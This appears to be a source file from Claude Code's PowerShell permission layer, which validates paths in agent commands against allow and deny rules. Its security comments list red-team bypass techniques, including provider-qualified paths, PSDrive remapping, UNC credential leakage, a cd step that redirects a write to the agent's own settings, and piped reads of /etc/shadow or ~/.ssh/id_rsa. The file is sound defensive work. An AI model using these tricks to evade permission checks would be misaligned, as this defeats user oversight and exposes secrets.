// SECURITY: Backtick (`) is PowerShell's escape character. It is a no-op in // many positions (e.g., `/ === /) but defeats Node.js path checks like // isAbsolute(). Redirection targets use raw .Extent.Text which preserves // backtick escapes. Treat any path containing a backtick as unvalidatable. if (normalizedPath.includes('`')) { // Red-team P3: backtick is already resolved for StringConstant args // (parser uses .value); this guard primarily fires for redirection // targets which use raw .Extent.Text. Strip is a no-op for most special // escapes (`n → n) but that's fine — wrong guess → no deny match → // falls to ask. const backtickStripped = normalizedPath.replace(/`/g, '') const denyHit = checkDenyRuleForGuessedPath( backtickStripped, cwd, toolPermissionContext, operationType, ) if (denyHit) { return { allowed: false, resolvedPath: denyHit.resolvedPath, decisionReason: { type: 'rule', rule: denyHit.rule }, } } return { allowed: false, resolvedPath: normalizedPath, decisionReason: { type: 'other', reason: 'Backtick escape characters in paths cannot be statically validated and require manual approval', }, } }
// SECURITY: Block module-qualified provider paths. PowerShell allows // `Microsoft.PowerShell.Core\FileSystem::/etc/passwd` which resolves to // `/etc/passwd` via the FileSystem provider. The `::` is the provider // path separator and doesn't match the simple `^[a-z]{2,}:` regex. if (normalizedPath.includes('::')) { // Strip everything up to and including the first :: — handles both // FileSystem::/path and Microsoft.PowerShell.Core\FileSystem::/path. // Double-:: (Foo::Bar::/x) strips first only → 'Bar::/x' → resolve // makes it {cwd}/Bar::/x → won't match real deny rules → falls to ask. // Safe. const afterProvider = normalizedPath.slice(normalizedPath.indexOf('::') + 2) const denyHit = checkDenyRuleForGuessedPath( afterProvider, cwd, toolPermissionContext, operationType, ) if (denyHit) { return { allowed: false, resolvedPath: denyHit.resolvedPath, decisionReason: { type: 'rule', rule: denyHit.rule }, } } return { allowed: false, resolvedPath: normalizedPath, decisionReason: { type: 'other', reason: 'Module-qualified provider paths (::) cannot be statically validated and require manual approval', }, } }
// SECURITY: Block UNC paths — they can trigger network requests and // leak NTLM/Kerberos credentials if ( normalizedPath.startsWith('//') || /DavWWWRoot/i.test(normalizedPath) || /@SSL@/i.test(normalizedPath) ) { return { allowed: false, resolvedPath: normalizedPath, decisionReason: { type: 'other', reason: 'UNC paths are blocked because they can trigger network requests and credential leakage', }, } }
// SECURITY: Reject paths containing shell expansion syntax if (normalizedPath.includes('$') || normalizedPath.includes('%')) { return { allowed: false, resolvedPath: normalizedPath, decisionReason: { type: 'other', reason: 'Variable expansion syntax in paths requires manual approval', }, } }
// SECURITY: Block non-filesystem provider paths (env:, HKLM:, alias:, function:, etc.) // These paths access non-filesystem resources and must require manual approval. // This catches colon-syntax like -Path:env:HOME where the extracted value is 'env:HOME'. // // Platform split (findings #21/#28): // - Windows: require 2+ letters before ':' so native drive letters (C:, D:) // pass through to path.win32.isAbsolute/resolve which handle them correctly. // - POSIX: ANY <letters>: prefix is a PowerShell PSDrive — single-letter drive // paths have no native meaning on Linux/macOS. `New-PSDrive -Name Z -Root /etc` // then `Get-Content Z:/secrets` would otherwise resolve via // path.posix.resolve(cwd, 'Z:/secrets') → '{cwd}/Z:/secrets' → inside cwd → // allowed, bypassing Read(/etc/**) deny rules. We cannot statically know what // filesystem root a PSDrive maps to, so treat all drive-prefixed paths on // POSIX as unvalidatable. // Include digits in PSDrive name (bug #23): `New-PSDrive -Name 1 ...` // creates drive `1:` — a valid PSDrive path prefix. // Windows regex requires 2+ chars to exclude single-letter native drive letters // (C:, D:). Use a single character class [a-z0-9] to catch mixed alphanumeric // PSDrive names like `a1:`, `1a:` — the previous alternation `[a-z]{2,}|[0-9]+` // missed those since `a1` is neither pure letters nor pure digits. const providerPathRegex = getPlatform() === 'windows' ? /^[a-z0-9]{2,}:/i : /^[a-z0-9]+:/i if (providerPathRegex.test(normalizedPath)) { return { allowed: false, resolvedPath: normalizedPath, decisionReason: { type: 'other', reason: `Path '${normalizedPath}' uses a non-filesystem provider and requires manual approval`, }, } }
// SECURITY: Block glob patterns in write/create operations if (GLOB_PATTERN_REGEX.test(normalizedPath)) { if (operationType === 'write' || operationType === 'create') { return { allowed: false, resolvedPath: normalizedPath, decisionReason: { type: 'other', reason: 'Glob patterns are not allowed in write operations. Please specify an exact file path.', }, } }
// For read operations with path traversal (e.g., /project/*/../../../etc/shadow), // resolve the full path (including glob chars) and validate that resolved path. // This catches patterns that escape the working directory via `..` after the glob. if (containsPathTraversal(normalizedPath)) { const absolutePath = isAbsolute(normalizedPath) ? normalizedPath : resolve(cwd, normalizedPath) const { resolvedPath, isCanonical } = safeResolvePath( getFsImplementation(), absolutePath, ) const result = isPathAllowed( resolvedPath, toolPermissionContext, operationType, isCanonical ? [resolvedPath] : undefined, ) return { allowed: result.allowed, resolvedPath, decisionReason: result.decisionReason, } }
// SECURITY (finding #15): Glob patterns for read operations cannot be // statically validated. getGlobBaseDirectory returns the directory before // the first glob char; only that base is realpathed. Anything matched by // the glob (including symlinks) is never examined. Example: // /project/*/passwd with symlink /project/link → /etc // Base dir is /project (allowed), but runtime expands * to 'link' and // reads /etc/passwd. We cannot validate symlinks inside glob expansion // without actually expanding the glob (requires filesystem access and // still races with attacker creating symlinks post-validation). // // Still check deny rules on the base directory so explicit Read(/project/**) // deny rules fire. If no deny matches, force ask. const basePath = getGlobBaseDirectory(normalizedPath) const absoluteBasePath = isAbsolute(basePath) ? basePath : resolve(cwd, basePath) const { resolvedPath } = safeResolvePath( getFsImplementation(), absoluteBasePath, ) const permissionType = operationType === 'read' ? 'read' : 'edit' const denyRule = matchingRuleForInput( resolvedPath, toolPermissionContext, permissionType, 'deny', ) if (denyRule !== null) { return { allowed: false, resolvedPath, decisionReason: { type: 'rule', rule: denyRule }, } } return { allowed: false, resolvedPath, decisionReason: { type: 'other', reason: 'Glob patterns in paths cannot be statically validated — symlinks inside the glob expansion are not examined. Requires manual approval.', }, } }
// Resolve path const absolutePath = isAbsolute(normalizedPath) ? normalizedPath : resolve(cwd, normalizedPath) const { resolvedPath, isCanonical } = safeResolvePath( getFsImplementation(), absolutePath, )
const result = isPathAllowed( resolvedPath, toolPermissionContext, operationType, isCanonical ? [resolvedPath] : undefined, ) return { allowed: result.allowed, resolvedPath, decisionReason: result.decisionReason, }}
function getGlobBaseDirectory(filePath: string): string { const globMatch = filePath.match(GLOB_PATTERN_REGEX) if (!globMatch || globMatch.index === undefined) { return filePath } const beforeGlob = filePath.substring(0, globMatch.index) const lastSepIndex = Math.max( beforeGlob.lastIndexOf('/'), beforeGlob.lastIndexOf('\\'), ) if (lastSepIndex === -1) return '.' return beforeGlob.substring(0, lastSepIndex + 1) || '/'}
/** * Element types that are safe to extract as literal path strings. * * Only element types with statically-known string values are safe for path * extraction. Variable and ExpandableString have runtime-determined values — * even though they're defended downstream ($ detection in validatePath's * `includes('$')` check, and the hasExpandableStrings security flag), excluding * them here is defense-in-direct: fail-safe at the earliest gate rather than * relying on downstream checks to catch them. * * Any other type (e.g., 'Other' for ArrayLiteralExpressionAst, 'SubExpression', * 'ScriptBlock', 'Variable', 'ExpandableString') cannot be statically validated * and must force an ask. */const SAFE_PATH_ELEMENT_TYPES = new Set<string>(['StringConstant', 'Parameter'])
/** * Extract file paths from a parsed PowerShell command element. * Uses the AST args to find positional and named path parameters. * * If any path argument has a complex elementType (e.g., array literal, * subexpression) that cannot be statically validated, sets * hasUnvalidatablePathArg so the caller can force an ask. */function extractPathsFromCommand(cmd: ParsedCommandElement): { paths: string[] operationType: FileOperationType hasUnvalidatablePathArg: boolean optionalWrite: boolean} { const canonical = resolveToCanonical(cmd.name) const config = CMDLET_PATH_CONFIG[canonical]
if (!config) { return { paths: [], operationType: 'read', hasUnvalidatablePathArg: false, optionalWrite: false, } }
// Build per-cmdlet known-param sets, merging in common parameters. const switchParams = [...config.knownSwitches, ...COMMON_SWITCHES] const valueParams = [...config.knownValueParams, ...COMMON_VALUE_PARAMS]
const paths: string[] = [] const args = cmd.args // elementTypes[0] is the command name; elementTypes[i+1] corresponds to args[i] const elementTypes = cmd.elementTypes let hasUnvalidatablePathArg = false let positionalsSeen = 0 const positionalSkip = config.positionalSkip ?? 0
function checkArgElementType(argIdx: number): void { if (!elementTypes) return const et = elementTypes[argIdx + 1] if (et && !SAFE_PATH_ELEMENT_TYPES.has(et)) { hasUnvalidatablePathArg = true } }
// Extract named parameter values (e.g., -Path "C:\foo") for (let i = 0; i < args.length; i++) { const arg = args[i] if (!arg) continue
// Check if this arg is a parameter name. // SECURITY: Use elementTypes as ground truth. PowerShell's tokenizer // accepts en-dash/em-dash/horizontal-bar (U+2013/2014/2015) as parameter // prefixes; a raw startsWith('-') check misses `–Path` (en-dash). The // parser maps CommandParameterAst → 'Parameter' regardless of dash char. // isPowerShellParameter also correctly rejects quoted "-Include" // (StringConstant, not a parameter). const argElementType = elementTypes ? elementTypes[i + 1] : undefined if (isPowerShellParameter(arg, argElementType)) { // Handle colon syntax: -Path:C:\secret // Normalize Unicode dash to ASCII `-` (pathParams are stored with `-`). const normalized = '-' + arg.slice(1) const colonIdx = normalized.indexOf(':', 1) // skip first char (the dash) const paramName = colonIdx > 0 ? normalized.substring(0, colonIdx) : normalized const paramLower = paramName.toLowerCase()
if (matchesParam(paramLower, config.pathParams)) { // Known path parameter — extract its value as a path. let value: string | undefined if (colonIdx > 0) { // Colon syntax: -Path:value — the whole thing is one element. // SECURITY: comma-separated values (e.g., -Path:safe.txt,/etc/passwd) // produce ArrayLiteralExpressionAst inside the CommandParameterAst. // PowerShell writes to ALL paths, but we see a single string. const rawValue = arg.substring(colonIdx + 1) if (hasComplexColonValue(rawValue)) { hasUnvalidatablePathArg = true } else { value = rawValue } } else { // Standard syntax: -Path value const nextVal = args[i + 1] const nextType = elementTypes ? elementTypes[i + 2] : undefined if (nextVal && !isPowerShellParameter(nextVal, nextType)) { value = nextVal checkArgElementType(i + 1) i++ // Skip the value } } if (value) { paths.push(value) } } else if ( config.leafOnlyPathParams && matchesParam(paramLower, config.leafOnlyPathParams) ) { // Leaf-only path parameter (e.g., New-Item -Name). PowerShell resolves // this relative to ANOTHER parameter (-Path), not cwd. validatePath // resolves against cwd (L930), so non-leaf values (separators, // traversal) resolve to the WRONG location and can miss deny rules // (deny→ask downgrade). Extract simple leaf filenames; flag anything // path-like. let value: string | undefined if (colonIdx > 0) { const rawValue = arg.substring(colonIdx + 1) if (hasComplexColonValue(rawValue)) { hasUnvalidatablePathArg = true } else { value = rawValue } } else { const nextVal = args[i + 1] const nextType = elementTypes ? elementTypes[i + 2] : undefined if (nextVal && !isPowerShellParameter(nextVal, nextType)) { value = nextVal checkArgElementType(i + 1) i++ } } if (value !== undefined) { if ( value.includes('/') || value.includes('\\') || value === '.' || value === '..' ) { // Non-leaf: separators or traversal. Can't resolve correctly // without joining against -Path. Force ask. hasUnvalidatablePathArg = true } else { // Simple leaf: extract. Resolves to cwd/leaf (slightly wrong — // should be <-Path>/leaf) but -Path extraction covers the // directory, and a leaf filename can't traverse out of anywhere. paths.push(value) } } } else if (matchesParam(paramLower, switchParams)) { // Known switch parameter — takes no value, do NOT consume next arg. // (Colon syntax on a switch, e.g., -Confirm:$false, is self-contained // in one token and correctly falls through here without consuming.) } else if (matchesParam(paramLower, valueParams)) { // Known value-taking non-path parameter (e.g., -Encoding UTF8, -Filter *.txt). // Consume its value; do NOT validate as path, but DO check elementType. // SECURITY: A Variable elementType (e.g., $env:ANTHROPIC_API_KEY) in any // argument position means the runtime value is not statically knowable. // Without this check, `-Value $env:SECRET` would be silently auto-allowed // in acceptEdits mode because the Variable elementType was never examined. if (colonIdx > 0) { // Colon syntax: -Value:$env:FOO — the value is embedded in the token. // The outer CommandParameterAst 'Parameter' type masks the inner // expression type. Check for expression markers that indicate a // non-static value (mirrors pathParams colon-syntax guards). const rawValue = arg.substring(colonIdx + 1) if (hasComplexColonValue(rawValue)) { hasUnvalidatablePathArg = true } } else { const nextArg = args[i + 1] const nextArgType = elementTypes ? elementTypes[i + 2] : undefined if (nextArg && !isPowerShellParameter(nextArg, nextArgType)) { checkArgElementType(i + 1) i++ // Skip the parameter's value } } } else { // Unknown parameter — we do not understand this invocation. // SECURITY: This is the structural fix for the KNOWN_SWITCH_PARAMS // whack-a-mole. Rather than guess whether this param is a switch // (and risk swallowing a positional path) or takes a value (and // risk the same), we flag the whole command as unvalidatable. // The caller will force an ask. hasUnvalidatablePathArg = true // SECURITY: Even though we don't recognize this param, if it uses // colon syntax (-UnknownParam:/etc/hosts) the bound value might be // a filesystem path. Extract it into paths[] so deny-rule matching // still runs. Without this, the value is trapped inside the single // token and paths=[] means deny rules are never consulted — // downgrading deny to ask. This is defense-in-depth: the primary // fix is adding all known aliases to pathParams above. if (colonIdx > 0) { const rawValue = arg.substring(colonIdx + 1) if (!hasComplexColonValue(rawValue)) { paths.push(rawValue) } } // Continue the loop so we still extract any recognizable paths // (useful for the ask message), but the flag ensures overall 'ask'. } continue }
// Positional arguments: extract as paths (e.g., Get-Content file.txt) // The first positional arg is typically the source path. // Skip leading positionals that are non-path values (e.g., iwr's -Uri). if (positionalsSeen < positionalSkip) { positionalsSeen++ continue } positionalsSeen++ checkArgElementType(i) paths.push(arg) }
return { paths, operationType: config.operationType, hasUnvalidatablePathArg, optionalWrite: config.optionalWrite ?? false, }}
/** * Checks path constraints for PowerShell commands. * Extracts file paths from the parsed AST and validates they are * within allowed directories. * * @param compoundCommandHasCd - Whether the full compound command contains a * cwd-changing cmdlet (Set-Location/Push-Location/Pop-Location/New-PSDrive, * excluding no-op Set-Location-to-CWD). When true, relative paths in ANY * statement cannot be trusted — PowerShell executes statements sequentially * and a cd in statement N changes the cwd for statement N+1, but this * validator resolves all paths against the stale Node process cwd. * BashTool parity (BashTool/pathValidation.ts:630-655). * * @returns * - 'ask' if any path command tries to access outside allowed directories * - 'deny' if a deny rule explicitly blocks the path * - 'passthrough' if no path commands were found or all paths are valid */export function checkPathConstraints( input: { command: string }, parsed: ParsedPowerShellCommand, toolPermissionContext: ToolPermissionContext, compoundCommandHasCd = false,): PermissionResult { if (!parsed.valid) { return { behavior: 'passthrough', message: 'Cannot validate paths for unparsed command', } }
// SECURITY: Two-pass approach — check ALL statements/paths so deny rules // always take precedence over ask. Without this, an ask on statement 1 // could return before checking statement 2 for deny rules, letting the // user approve a command that includes a denied path. let firstAsk: PermissionResult | undefined
for (const statement of parsed.statements) { const result = checkPathConstraintsForStatement( statement, toolPermissionContext, compoundCommandHasCd, ) if (result.behavior === 'deny') { return result } if (result.behavior === 'ask' && !firstAsk) { firstAsk = result } }
return ( firstAsk ?? { behavior: 'passthrough', message: 'All path constraints validated successfully', } )}
function checkPathConstraintsForStatement( statement: ParsedPowerShellCommand['statements'][number], toolPermissionContext: ToolPermissionContext, compoundCommandHasCd = false,): PermissionResult { const cwd = getCwd() let firstAsk: PermissionResult | undefined
// SECURITY: BashTool parity — block path operations in compound commands // containing a cwd-changing cmdlet (BashTool/pathValidation.ts:630-655). // // When the compound contains Set-Location/Push-Location/Pop-Location/ // New-PSDrive, relative paths in later statements resolve against the // CHANGED cwd at runtime, but this validator resolves them against the // STALE getCwd() snapshot. Example attack (finding #3): // Set-Location ./.claude; Set-Content ./settings.json '...' // Validator sees ./settings.json → /project/settings.json (not a config file). // Runtime writes /project/.claude/settings.json (Claude's permission config). // // ALTERNATIVE APPROACH (rejected): simulate cwd through the statement chain // — after `Set-Location ./.claude`, validate subsequent statements with // cwd='./.claude'. This would be more permissive but requires careful // handling of: // - Push-Location/Pop-Location stack semantics // - Set-Location with no args (→ home on some platforms) // - New-PSDrive root mapping (arbitrary filesystem root) // - Conditional/loop statements where cd may or may not execute // - Error cases where the cd target can't be statically determined // For now we take the conservative approach of requiring manual approval. // // Unlike BashTool which gates on `operationType !== 'read'`, we also block // READS (finding #27): `Set-Location ~; Get-Content ./.ssh/id_rsa` bypasses // Read(~/.ssh/**) deny rules because the validator matched the deny against // /project/.ssh/id_rsa. Reads from mis-resolved paths leak data just as // writes destroy it. We still run deny-rule matching below (via firstAsk, // not early return) so explicit deny rules on the stale-resolved path are // honored — deny > ask in the caller's reduce. if (compoundCommandHasCd) { firstAsk = { behavior: 'ask', message: 'Compound command changes working directory (Set-Location/Push-Location/Pop-Location/New-PSDrive) — relative paths cannot be validated against the original cwd and require manual approval', decisionReason: { type: 'other', reason: 'Compound command contains cd with path operation — manual approval required to prevent path resolution bypass', }, } }
// SECURITY: Track whether this statement contains a non-CommandAst pipeline // element (string literal, variable, array expression). PowerShell pipes // these values to downstream cmdlets, often binding to -Path. Example: // `'/etc/passwd' | Remove-Item` — the string is piped to Remove-Item's -Path, // but Remove-Item has no explicit args so extractPathsFromCommand returns // zero paths and the command would passthrough. If ANY downstream cmdlet // appears alongside an expression source, we force an ask — the piped // path is unvalidatable regardless of operation type (reads leak data; // writes destroy it). let hasExpressionPipelineSource = false // Track the non-CommandAst element's text for deny-rule guessing (finding #23). // `'.git/hooks/pre-commit' | Remove-Item` — path comes via pipeline, paths=[] // from extractPathsFromCommand, so the deny loop below never iterates. We // feed the pipeline-source text through checkDenyRuleForGuessedPath so // explicit Edit(.git/**) deny rules still fire. let pipelineSourceText: string | undefined
for (const cmd of statement.commands) { if (cmd.elementType !== 'CommandAst') { hasExpressionPipelineSource = true pipelineSourceText = cmd.text continue }
const { paths, operationType, hasUnvalidatablePathArg, optionalWrite } = extractPathsFromCommand(cmd)
// SECURITY: Cmdlet receiving piped path from expression source. // `'/etc/shadow' | Get-Content` — Get-Content extracts zero paths // (no explicit args). The path comes from the pipeline, which we cannot // statically validate. Previously exempted reads (`operationType !== 'read'`), // but that was a bypass (review comment 2885739292): reads from // unvalidatable paths are still a security risk. Ask regardless of op type. if (hasExpressionPipelineSource) { const canonical = resolveToCanonical(cmd.name) // SECURITY (finding #23): Before falling back to ask, check if the // pipeline-source text matches a deny rule. `'.git/hooks/pre-commit' | // Remove-Item` should DENY (not ask) when Edit(.git/**) is configured. // Strip surrounding quotes (string literals are quoted in .text) and // feed through the same deny-guess helper used for ::/backtick paths. if (pipelineSourceText !== undefined) { const stripped = pipelineSourceText.replace(/^['"]|['"]$/g, '') const denyHit = checkDenyRuleForGuessedPath( stripped, cwd, toolPermissionContext, operationType, ) if (denyHit) { return { behavior: 'deny', message: `${canonical} targeting '${denyHit.resolvedPath}' was blocked by a deny rule`, decisionReason: { type: 'rule', rule: denyHit.rule }, } } } firstAsk ??= { behavior: 'ask', message: `${canonical} receives its path from a pipeline expression source that cannot be statically validated and requires manual approval`, } // Don't continue — fall through to path loop so deny rules on // extracted paths are still checked. }
// SECURITY: Array literals, subexpressions, and other complex // argument types cannot be statically validated. An array literal // like `-Path ./safe.txt, /etc/passwd` produces a single 'Other' // element whose combined text may resolve within CWD while // PowerShell actually writes to ALL paths in the array. if (hasUnvalidatablePathArg) { const canonical = resolveToCanonical(cmd.name) firstAsk ??= { behavior: 'ask', message: `${canonical} uses a parameter or complex path expression (array literal, subexpression, unknown parameter, etc.) that cannot be statically validated and requires manual approval`, } // Don't continue — fall through to path loop so deny rules on // extracted paths are still checked. }
// SECURITY: Write cmdlet in CMDLET_PATH_CONFIG that extracted zero paths. // Either (a) the cmdlet has no args at all (`Remove-Item` alone — // PowerShell will error, but we shouldn't optimistically assume that), or // (b) we failed to recognize the path among the args (shouldn't happen // with the unknown-param fail-safe, but defense-in-depth). Conservative: // write operation with no validated target → ask. // Read cmdlets and pop-location (pathParams: []) are exempt. // optionalWrite cmdlets (Invoke-WebRequest/Invoke-RestMethod without // -OutFile) are ALSO exempt — they only write to disk when a pathParam is // present; without one, output goes to the pipeline. The // hasUnvalidatablePathArg check above already covers unknown-param cases. if ( operationType !== 'read' && !optionalWrite && paths.length === 0 && CMDLET_PATH_CONFIG[resolveToCanonical(cmd.name)] ) { const canonical = resolveToCanonical(cmd.name) firstAsk ??= { behavior: 'ask', message: `${canonical} is a write operation but no target path could be determined; requires manual approval`, } continue }
// SECURITY: bash-parity hard-deny for removal cmdlets on // system-critical paths. BashTool has isDangerousRemovalPath which // hard-DENIES `rm /`, `rm ~`, `rm /etc`, etc. regardless of user config. // Port: remove-item (and aliases rm/del/ri/rd/rmdir/erase → resolveToCanonical) // on a dangerous path → deny (not ask). User cannot approve system32 deletion. const isRemoval = resolveToCanonical(cmd.name) === 'remove-item'
for (const filePath of paths) { // Hard-deny removal of dangerous system paths (/, ~, /etc, etc.). // Check the RAW path (pre-realpath) first: safeResolvePath can // canonicalize '/' → 'C:\' (Windows) or '/var/...' → '/private/var/...' // (macOS) which defeats isDangerousRemovalPath's string comparisons. if (isRemoval && isDangerousRemovalRawPath(filePath)) { return dangerousRemovalDeny(filePath) }
const { allowed, resolvedPath, decisionReason } = validatePath( filePath, cwd, toolPermissionContext, operationType, )
// Also check the resolved path — catches symlinks that resolve to a // protected location. if (isRemoval && isDangerousRemovalPath(resolvedPath)) { return dangerousRemovalDeny(resolvedPath) }
if (!allowed) { const canonical = resolveToCanonical(cmd.name) const workingDirs = Array.from( allWorkingDirectories(toolPermissionContext), ) const dirListStr = formatDirectoryList(workingDirs)
const message = decisionReason?.type === 'other' || decisionReason?.type === 'safetyCheck' ? decisionReason.reason : `${canonical} targeting '${resolvedPath}' was blocked. For security, Claude Code may only access files in the allowed working directories for this session: ${dirListStr}.`
if (decisionReason?.type === 'rule') { return { behavior: 'deny', message, decisionReason, } }
const suggestions: PermissionUpdate[] = [] if (resolvedPath) { if (operationType === 'read') { const suggestion = createReadRuleSuggestion( getDirectoryForPath(resolvedPath), 'session', ) if (suggestion) { suggestions.push(suggestion) } } else { suggestions.push({ type: 'addDirectories', directories: [getDirectoryForPath(resolvedPath)], destination: 'session', }) } }
if (operationType === 'write' || operationType === 'create') { suggestions.push({ type: 'setMode', mode: 'acceptEdits', destination: 'session', }) }
firstAsk ??= { behavior: 'ask', message, blockedPath: resolvedPath, decisionReason, suggestions, } } } }
// Also check nested commands from control flow if (statement.nestedCommands) { for (const cmd of statement.nestedCommands) { const { paths, operationType, hasUnvalidatablePathArg, optionalWrite } = extractPathsFromCommand(cmd)
if (hasUnvalidatablePathArg) { const canonical = resolveToCanonical(cmd.name) firstAsk ??= { behavior: 'ask', message: `${canonical} uses a parameter or complex path expression (array literal, subexpression, unknown parameter, etc.) that cannot be statically validated and requires manual approval`, } // Don't continue — fall through to path loop for deny checks. }
// SECURITY: Write cmdlet with zero extracted paths (mirrors main loop). // optionalWrite cmdlets exempt — see main-loop comment. if ( operationType !== 'read' && !optionalWrite && paths.length === 0 && CMDLET_PATH_CONFIG[resolveToCanonical(cmd.name)] ) { const canonical = resolveToCanonical(cmd.name) firstAsk ??= { behavior: 'ask', message: `${canonical} is a write operation but no target path could be determined; requires manual approval`, } continue }
// SECURITY: bash-parity hard-deny for removal on system-critical // paths — mirror the main-loop check above. Without this, // `if ($true) { Remove-Item / }` routes through nestedCommands and // downgrades deny→ask, letting the user approve root deletion. const isRemoval = resolveToCanonical(cmd.name) === 'remove-item'
for (const filePath of paths) { // Check the RAW path first (pre-realpath); see main-loop comment. if (isRemoval && isDangerousRemovalRawPath(filePath)) { return dangerousRemovalDeny(filePath) }
const { allowed, resolvedPath, decisionReason } = validatePath( filePath, cwd, toolPermissionContext, operationType, )
if (isRemoval && isDangerousRemovalPath(resolvedPath)) { return dangerousRemovalDeny(resolvedPath) }
if (!allowed) { const canonical = resolveToCanonical(cmd.name) const workingDirs = Array.from( allWorkingDirectories(toolPermissionContext), ) const dirListStr = formatDirectoryList(workingDirs)
const message = decisionReason?.type === 'other' || decisionReason?.type === 'safetyCheck' ? decisionReason.reason : `${canonical} targeting '${resolvedPath}' was blocked. For security, Claude Code may only access files in the allowed working directories for this session: ${dirListStr}.`
if (decisionReason?.type === 'rule') { return { behavior: 'deny', message, decisionReason, } }
const suggestions: PermissionUpdate[] = [] if (resolvedPath) { if (operationType === 'read') { const suggestion = createReadRuleSuggestion( getDirectoryForPath(resolvedPath), 'session', ) if (suggestion) { suggestions.push(suggestion) } } else { suggestions.push({ type: 'addDirectories', directories: [getDirectoryForPath(resolvedPath)], destination: 'session', }) } }
if (operationType === 'write' || operationType === 'create') { suggestions.push({ type: 'setMode', mode: 'acceptEdits', destination: 'session', }) }
firstAsk ??= { behavior: 'ask', message, blockedPath: resolvedPath, decisionReason, suggestions, } } }
// Red-team P11/P14: step 5 at powershellPermissions.ts:970 already // catches this via the same synthetic-CommandExpressionAst mechanism — // this is belt-and-suspenders so the nested loop doesn't rely on that // accident. Placed AFTER the path loop so specific asks (blockedPath, // suggestions) win via ??=. if (hasExpressionPipelineSource) { firstAsk ??= { behavior: 'ask', message: `${resolveToCanonical(cmd.name)} appears inside a control-flow or chain statement where piped expression sources cannot be statically validated and requires manual approval`, } } } }
// Check redirections on nested commands (e.g., from && / || chains) if (statement.nestedCommands) { for (const cmd of statement.nestedCommands) { if (cmd.redirections) { for (const redir of cmd.redirections) { if (redir.isMerging) continue if (!redir.target) continue if (isNullRedirectionTarget(redir.target)) continue
const { allowed, resolvedPath, decisionReason } = validatePath( redir.target, cwd, toolPermissionContext, 'create', )
if (!allowed) { const workingDirs = Array.from( allWorkingDirectories(toolPermissionContext), ) const dirListStr = formatDirectoryList(workingDirs)
const message = decisionReason?.type === 'other' || decisionReason?.type === 'safetyCheck' ? decisionReason.reason : `Output redirection to '${resolvedPath}' was blocked. For security, Claude Code may only write to files in the allowed working directories for this session: ${dirListStr}.`
if (decisionReason?.type === 'rule') { return { behavior: 'deny', message, decisionReason, } }
firstAsk ??= { behavior: 'ask', message, blockedPath: resolvedPath, decisionReason, suggestions: [ { type: 'addDirectories', directories: [getDirectoryForPath(resolvedPath)], destination: 'session', }, ], } } } } } }
// Check file redirections if (statement.redirections) { for (const redir of statement.redirections) { if (redir.isMerging) continue if (!redir.target) continue if (isNullRedirectionTarget(redir.target)) continue
const { allowed, resolvedPath, decisionReason } = validatePath( redir.target, cwd, toolPermissionContext, 'create', )
if (!allowed) { const workingDirs = Array.from( allWorkingDirectories(toolPermissionContext), ) const dirListStr = formatDirectoryList(workingDirs)
const message = decisionReason?.type === 'other' || decisionReason?.type === 'safetyCheck' ? decisionReason.reason : `Output redirection to '${resolvedPath}' was blocked. For security, Claude Code may only write to files in the allowed working directories for this session: ${dirListStr}.`
if (decisionReason?.type === 'rule') { return { behavior: 'deny', message, decisionReason, } }
firstAsk ??= { behavior: 'ask', message, blockedPath: resolvedPath, decisionReason, suggestions: [ { type: 'addDirectories', directories: [getDirectoryForPath(resolvedPath)], destination: 'session', }, ], } } } }
return ( firstAsk ?? { behavior: 'passthrough', message: 'All path constraints validated successfully', } )}